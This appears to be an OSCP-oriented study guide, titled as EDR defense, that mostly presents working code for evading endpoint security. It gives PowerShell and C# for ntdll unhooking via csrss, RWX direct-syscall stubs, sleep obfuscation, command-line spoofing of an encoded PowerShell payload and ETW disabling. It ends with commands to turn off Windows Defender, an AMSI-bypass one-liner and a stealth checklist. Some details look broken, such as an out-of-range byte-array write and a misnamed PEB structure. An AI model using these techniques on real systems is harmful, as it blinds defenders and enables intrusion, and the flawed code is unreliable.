Defense Against EDR Solutions
What is EDR?
Endpoint Detection and Response (EDR) goes far beyond traditional antivirus. While AV relies on static signatures and basic heuristics, EDR provides continuous behavioral monitoring, deep system visibility, and automated response capabilities.
| Feature | Traditional AV | EDR |
|---|---|---|
| Detection | Signature-based | Behavioral + AI/ML |
| Visibility | File-level | Full process tree, memory, network |
| Response | Quarantine/Delete | Isolate, kill, rollback |
| Telemetry | Limited | Continuous streaming |
| Hooking | Minimal | User-mode + kernel-mode hooks |
Key insight for OSCP: EDR agents hook Windows API functions in user-mode DLLs (especially ntdll.dll) and install kernel-mode drivers. When your payload calls NtCreateFile, the EDR intercepts it before the syscall reaches the kernel — giving the EDR visibility into every sensitive operation.
Common EDR Solutions
| EDR Solution | Vendor | Hooking Method | Notable Features |
|---|---|---|---|
| Microsoft Defender ATP | Microsoft | ETW + user-mode hooks | Built into Windows 10/11, aggressive PowerShell logging |
| CrowdStrike Falcon | CrowdStrike | User-mode + kernel driver | Sensor lightweight, heavy on behavioral analysis |
| SentinelOne | SentinelOne | Kernel driver + user-mode | Autonomous response, deep memory scanning |
| Carbon Black | VMware | Kernel driver | Real-time process monitoring, CB Response |
| Cybereason | Cybereason | Kernel + user-mode hooks | Chain of custody, deep forensics |
| Trend Micro Apex One | Trend Micro | Kernel filter drivers | Cloud-connected, AMSI integration |
| Cortex XDR | Palo Alto | Kernel + ETW | XDR correlation, network visibility |
| Sophos Intercept X | Sophos | Kernel driver + ML | AI-powered ransomware protection |
EDR Detection Methods
EDRs detect malicious activity through multiple layers:
-
API Hooking (User-Mode): EDR patches exported functions in
ntdll.dll(e.g.,NtCreateThreadEx,NtAllocateVirtualMemory) to log every call with arguments, stack traces, and calling process context. -
Kernel Drivers: Install
FLT_MINIPORTorWDFdrivers to intercept syscalls at the kernel boundary, bypassing any user-mode unhooking attempts. -
ETW Providers: Subscribe to Microsoft’s Event Tracing for Windows providers (
Microsoft-Windows-Threat-Intelligence,Microsoft-Windows-Sysmon) to capture process creation, module loads, and network connections. -
Memory Scanning: Periodically scan process memory for known shellcode patterns, injected payloads, and reflective DLL injection artifacts.
-
Network Monitoring: Hook
WSARecv,WSASend, andconnectto detect C2 beaconing patterns. -
File System Filtering: Kernel-level minifilter drivers intercept file creation, modification, and deletion in real-time.
-
Registry Monitoring: Hook
NtSetValueKeyandNtCreateKeyto detect persistence mechanism creation. -
Process Tree Analysis: Build and monitor the full parent-child process lineage. Flag anomalies like
powershell.exespawned bynotepad.exe.
Strategy 1: API Unhooking
Concept: Copy a clean, unhooked version of ntdll.dll from a trusted process (like csrss.exe) into your process memory, then redirect calls to the clean functions.
Why csrss.exe?
csrss.exe (Client/Server Runtime Subsystem) is a critical system process that loads ntdll.dll but is rarely hooked by EDRs because tampering with it would destabilize the system.
PowerShell Implementation
# Find csrss.exe PID
$csrss = Get-Process csrss | Select-Object -First 1
# Open the process with read access
$procHandle = [SysInterop]::OpenProcess(0x10, $false, $csrss.Id)
# Get ntdll base address from csrss
$ntdllAddr = [SysInterop]::GetModuleBaseAddress($procHandle, "ntdll.dll")
# Read the clean ntdll header to get function sizes
$peHeader = [SysInterop]::ReadProcessMemory($procHandle, $ntdllAddr, 0x1000)
# Allocate memory in our process
$cleanNtdll = [SysInterop]::VirtualAlloc(0, $peHeader.SizeOfImage, 0x3000, 0x40)
# Copy the clean ntdll from csrss into our process
[SysInterop]::ReadProcessMemory($procHandle, $ntdllAddr, $cleanNtdll, $peHeader.SizeOfImage)
# Now resolve and call unhooked functions from $cleanNtdll
C# Implementation (more common in tools)
// Get handle to csrss.exe
IntPtr csrssHandle = OpenProcess(ProcessAccess.QueryInfo | ProcessAccess.VMRead, false, csrssPid);
// Get ntdll base from csrss
IntPtr ntdllBase = GetModuleBaseAddress(csrssHandle, "ntdll.dll");
// Read clean ntdll into our process memory
byte[] cleanNtdll = ReadProcessMemory(csrssHandle, ntdllBase, size);
IntPtr allocated = VirtualAlloc(IntPtr.Zero, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(CurrentProcess, allocated, cleanNtdll, size);
// Redirect NtAllocateVirtualMemory to the clean copy
IntPtr unhookedFunc = allocated + offsetOfNtAllocateVirtualMemory;
Risk: Reading from another process’s memory can trigger EDR alerts. Some EDRs specifically monitor cross-process memory reads targeting csrss.exe.
Strategy 2: Direct Syscalls
Concept: Bypass user-mode API hooks entirely by invoking syscalls directly, without going through the hooked ntdll.dll stubs.
How Syscalls Work
Normal (Hooked) Path:
Your Process → ntdll!NtCreateFile [HOOKED by EDR] → Kernel
Direct Syscall Path:
Your Process → Inline syscall instruction → Kernel (EDR bypassed!)
Finding Syscall Numbers
Syscall numbers are NOT static — they change between Windows versions and updates. You must resolve them at runtime.
# Method 1: Parse ntdll export table for syscall number
function Get-SyscallNumber {
param([string]$FunctionName)
$ntdll = [System.Runtime.InteropServices.Marshal]::GetHINSTANCE(
[System.Runtime.InteropServices.ModuleHandle]::GetModuleHandle("ntdll")
)
# Read the function stub - first bytes contain mov r10,rcx; mov rcx,<syscall>; syscall
$funcAddr = GetProcAddress($ntdll, $FunctionName)
$stubBytes = [System.Runtime.InteropServices.Marshal]::ReadByte($funcAddr + 3)
$syscallNum = [System.Runtime.InteropServices.Marshal]::ReadInt16($funcAddr + 4)
return $syscallNum
}
$ntCreateFileNum = Get-SyscallNumber "NtCreateFile"
Inline Syscall in PowerShell
# Define the syscall stub dynamically
$asm = New-Object System.Byte[] 15
$asm[0] = 0x4C; $asm[1] = 0x8B; $asm[2] = 0xD1 # mov r10, rcx
$asm[3] = 0xB9; $asm[4] = 0x55; $asm[5] = 0x00 # mov ecx, 0x55 (NtCreateFile)
$asm[6] = 0x00; $asm[7] = 0x00
$asm[8] = 0x4C; $asm[9] = 0x8B; $asm[10] = 0xC2 # mov r8, rdx
$asm[11] = 0x4D; $asm[12] = 0x8B; $asm[13] = 0xC9 # mov r9, r9
$asm[14] = 0x0F; $asm[15] = 0x05 # syscall
# Allocate and execute
$funcPtr = [SysInterop]::VirtualAlloc(0, 16, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($asm, 0, $funcPtr, 16)
# Call the inline syscall
$result = [SysInterop]::Invoke($funcPtr, $arg1, $arg2, $arg3)
Inline Syscall in C# (recommended approach)
// Generate syscall stub at runtime
public static byte[] GenerateSyscallStub(short syscallNumber)
{
return new byte[] {
0x4C, 0x8B, 0xD1, // mov r10, rcx
0xB8, (byte)syscallNumber, (byte)(syscallNumber >> 8), 0x00, 0x00, // mov eax, syscallNum
0x0F, 0x05, // syscall
0xC3 // ret
};
}
// Allocate RWX memory and write stub
IntPtr stubAddr = VirtualAlloc(IntPtr.Zero, stub.Length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
Marshal.Copy(stub, 0, stubAddr, stub.Length);
// Cast to delegate and invoke
var ntCreateFile = Marshal.GetDelegateForFunctionPointer<NtCreateFile>(stubAddr);
ntCreateFile(out fileHandle, desiredAccess, ref oa, ioStatusBlock, allocSize, fileAttrs, shareAccess, createDisp, createOptions, eaBuffer, eaLength);
Syswhispers2 (Recommended Tool)
Syswhispers2 (by TheWover) is the gold standard for generating direct syscall stubs:
# Generate C# direct syscall headers
.\Syswhispers2.exe -o Syscall.cs -c -j
# Generated code includes:
# - Runtime syscall number resolution (SSN parsing)
# - Inline syscall stubs for all Nt* functions
# - No hardcoded syscall numbers (survives Windows updates)
Key advantage: Syswhispers2 parses the System Service Number (SSN) from ntdll.dll at runtime, so it works across Windows versions without hardcoding numbers.
Strategy 3: Sleep Obfuscation
Problem: EDRs and AMSI monitor Start-Sleep and Sleep() calls. Long sleeps in scripts are a classic detection trigger.
Detection Example
# RED FLAG - easily detected
Start-Sleep -Seconds 60 # EDR logs: "Process slept for 60 seconds"
Technique 1: NtDelayExecution (Unhooked)
# Use unhooked NtDelayExecution instead of Start-Sleep
$ntDelay = Get-UnhookedFunction ntdll!NtDelayExecution BOOL "
IntPtr Event,
Boolean Alertable,
IntPtr DelayInterval
"
# Convert seconds to 100-nanosecond intervals (negative = relative)
$interval = New-Object System.Intptr
$interval.Value = -10000000 * 60 # 60 seconds in 100ns units
$ntDelay.Invoke([IntPtr]::Zero, $false, $interval)
Technique 2: Spin Loop Obfuscation
# Instead of sleeping, burn CPU in a tight loop
$targetTime = [DateTimeOffset]::Now.AddSeconds(60)
while ([DateTimeOffset]::Now -lt $targetTime) {
# Do nothing visible - just burn cycles
[System.Threading.Thread]::SpinWait(1)
}
Technique 3: Fragmented Sleeps
# Break long sleeps into tiny chunks
for ($i = 0; $i -lt 60; $i++) {
Start-Sleep -Milliseconds 100
# Do something innocuous between sleeps
Get-Date | Out-Null
}
Technique 4: Event-Based Sleep
# Use a manual-reset event with timeout (harder to detect)
$event = New-Object System.Threading.ManualResetEvent($false)
$event.WaitOne(60000) # 60 second timeout, looks like normal synchronization
Strategy 4: Process Argument Spoofing
Concept: Launch a process in suspended state, modify its command-line arguments in memory, then resume it. This makes the process appear legitimate in EDR logs while executing malicious commands.
How It Works
Step 1: CreateProcess with CREATE_SUSPENDED flag
Step 2: Process exists but hasn't executed yet
Step 3: Read PEB → PEBBLS → ProcessParameters → CommandLine
Step 4: Overwrite CommandLine with spoofed arguments
Step 5: ResumeThread on the primary thread
PowerShell Implementation
# Step 1: Launch notepad.exe in suspended state
$startInfo = New-Object System.Diagnostics.ProcessStartInfo
$startInfo.FileName = "notepad.exe"
$startInfo.Arguments = "malicious-args" # These will be spoofed
$startInfo.UseShellExecute = $false
$proc = [System.Diagnostics.Process]::Start($startInfo)
$proc.WaitForInputIdle()
# Step 2: Get process handle with full access
$procHandle = [SysInterop]::OpenProcess(
0x001F0FFF, # PROCESS_ALL_ACCESS
$false,
$proc.Id
)
# Step 3: Locate the command line in memory via PEB
$peb = [SysInterop]::ReadPeb($procHandle)
$ppeb = [SysInterop]::ReadProcessMemory($procHandle, $peb.PebBaseAddress, 0x500)
$processParameters = [SysInterop]::GetProcessParameters($procHandle, $peb)
# Step 4: Write spoofed command line
$spoofedArgs = "notepad.exe C:\Users\Public\legit_document.txt"
$spoofedBytes = [System.Text.Encoding]::Unicode.GetBytes($spoofedArgs + "`0")
[SysInterop]::WriteProcessMemory($procHandle, $processParameters.CommandLine.Buffer, $spoofedBytes, $spoofedBytes.Length)
# Step 5: Resume the process
[SysInterop]::ResumeThread($proc.MainHandle)
C# Implementation (more reliable)
// Create process suspended
var si = new STARTUPINFO();
var pi = new PROCESS_INFORMATION();
CreateProcess(
null,
"powershell.exe -enc BASE64PAYLOAD",
null, null, false,
CREATE_SUSPENDED, // Key flag!
null, null, ref si, out pi
);
// Spoof the command line
string spoofed = "powershell.exe -NoLogo -NonInteractive";
byte[] spoofBytes = Encoding.Unicode.GetBytes(spoofed);
// Get PEB and modify CommandLine
IntPtr pebAddr = NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation);
PROCESS_PARAMETERS params = ReadProcessParameters(pi.hProcess, pebAddr);
// Allocate new command line buffer
IntPtr newCmdLine = VirtualAllocEx(pi.hProcess, IntPtr.Zero, spoofBytes.Length,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(pi.hProcess, newCmdLine, spoofBytes, spoofBytes.Length);
// Update the CommandLine pointer in RTL_USER_PROCESS_PARAMETERS
params.CommandLine.Buffer = newCmdLine;
params.CommandLine.Length = (ushort)spoofBytes.Length;
params.CommandLine.MaximumLength = (ushort)spoofBytes.Length;
// Resume execution
ResumeThread(pi.hThread);
EDR Counter: Modern EDRs log the ORIGINAL command line at process creation time (before spoofing). Argument spoofing alone is no longer sufficient against enterprise EDR.
Strategy 5: ETW Bypass
Concept: EDRs consume ETW events for process creation, module loads, and network activity. Disabling ETW providers prevents this telemetry.
PowerShell ETW Bypass
# Disable ETW tracing for the current process
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class EtwBypass {
[DllImport("ntdll.dll")]
public static extern uint NtSetInformationProcess(
IntPtr processHandle,
uint processInformationClass,
ref byte processInformation,
uint processInformationLength
);
public static void DisableETW() {
IntPtr hProc = GetCurrentProcess();
byte info = 1; // ProcessTraceInformation class = 41, value = 1 disables
NtSetInformationProcess(hProc, 41, ref info, 1);
}
[DllImport("kernel32.dll")]
public static extern IntPtr GetCurrentProcess();
}
"@
[EtwBypass]::DisableETW()
Alternative: TracingEnabled Registry Key
# Some tools set this to disable ETW at the process level
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Windows" `
-Name "TracingEnabled" -Value 0 -Type DWord
Note: ETW bypass alone won’t stop kernel-level EDR detection. It primarily helps against ETW-based logging and Sysmon.
Evasion Technique Comparison
| Technique | Effectiveness vs Defender | Effectiveness vs Enterprise EDR | Complexity | Risk of Detection |
|---|---|---|---|---|
| API Unhooking | High | Medium | Medium | Medium (cross-process reads flagged) |
| Direct Syscalls | High | Medium-High | High | Low (if done correctly) |
| Sleep Obfuscation | Medium | Low-Medium | Low | Low |
| Arg Spoofing | Medium | Low | Medium | High (original args logged by EDR) |
| ETW Bypass | Medium | Low | Low | Medium (missing ETW events suspicious) |
| AMSI Bypass | High | Medium | Low | Medium |
| Combined Approach | Very High | High | Very High | Low |
Recommended Layered Approach for OSCP
Layer 1: AMSI bypass (mandatory)
Layer 2: Direct syscalls for sensitive operations
Layer 3: Sleep obfuscation for timing
Layer 4: ETW bypass for telemetry reduction
Layer 5: Argument spoofing for process legitimacy
Detection Avoidance Checklist
Before deploying any payload, verify:
- AMSI bypassed? Use
AmsiScanBufferpatching orInvoke-AmsiBypass - No hardcoded IP/URL? Use DNS resolution or encoded C2 addresses
- Sleep calls obfuscated? Replace
Start-SleepwithNtDelayExecutionor spin loops - Syscalls used for sensitive APIs?
NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx - PowerShell execution policy bypassed? Use
-ep bypassor conhost technique - No suspicious parent process? Avoid spawning from
cmd.exeorpowershell.exewhen possible - Encoded commands clean? Check for
Invoke-Expression,IEX, anddownloadstringin decoded output - Network traffic normalized? Avoid beaconing patterns; use jitter and randomized intervals
- File operations stealthy? Avoid writing to
%TEMP%; use legitimate paths or memory-only execution - Registry modifications minimal? Avoid persistence keys monitored by EDR
Practical OSCP Tips
What You’ll Actually Face in OSCP Labs
-
Most OSCP machines have NO EDR — they may have Windows Defender (often disabled) or nothing at all. Enterprise EDR (CrowdStrike, SentinelOne) is rare in the exam environment.
-
Windows Defender is the main AV — When present, it’s often the default installation without Defender for Endpoint (the full EDR product). Basic AMSI bypass + encoded commands usually suffice.
-
Linux machines have no EDR — Focus on standard Linux AV (ClamAV) which is signature-based and easily bypassed.
-
Defender can be disabled post-exploitation:
# Method 1: Group Policy (requires admin) Set-MpPreference -DisableRealtimeMonitoring $true # Method 2: Service stop Stop-Service WinDefend -Force # Method 3: Registry Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" ` -Name "DisableAntiSpyware" -Value 1 -
When EDR IS present:
- Start with the simplest bypass first
- Use
Invoke-ObfuscationorEvilClangfor PowerShell payloads - Consider compiling to native executable (C# → EXE) to avoid PowerShell logging
Syswhispers2+Donut(for DLL injection) is a powerful combo
-
The OSCP exam prioritizes exploitation over evasion. Don’t over-invest in EDR bypass techniques at the expense of core skills. A working reverse shell matters more than a perfectly stealthy one.
-
Quick AMSI bypass (most important single technique):
# One-liner AMSI bypass [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Tools Worth Knowing
| Tool | Purpose | OSCP Relevance |
|---|---|---|
| Syswhispers2 | Direct syscall generation | High |
| Donut | Generate in-memory DLL/EXE payloads | High |
| Invoke-Obfuscation | PowerShell obfuscation | Medium |
| EvilClang | Compile obfuscated PowerShell to EXE | Medium |
| Rubeus | Kerberos attacks (not EDR-specific) | Very High |
| Seatbelt | Host reconnaissance | Very High |
| Whisker | Kerberoasting/dCSync | High |
Key Takeaways for Exam Day
- AMSI bypass is your #1 priority — Without it, Defender will catch almost any PowerShell payload
- Direct syscalls are powerful but complex — Know the concept; use pre-built tools like Syswhispers2
- Sleep obfuscation is easy wins — Simple to implement, reduces detection surface
- Process argument spoofing has limited value against modern EDR but works against basic AV
- Layer your defenses — No single technique is bulletproof; combine 2-3 for best results
- Know when to stop — In the OSCP exam, a noisy reverse shell that works beats a stealthy one that doesn’t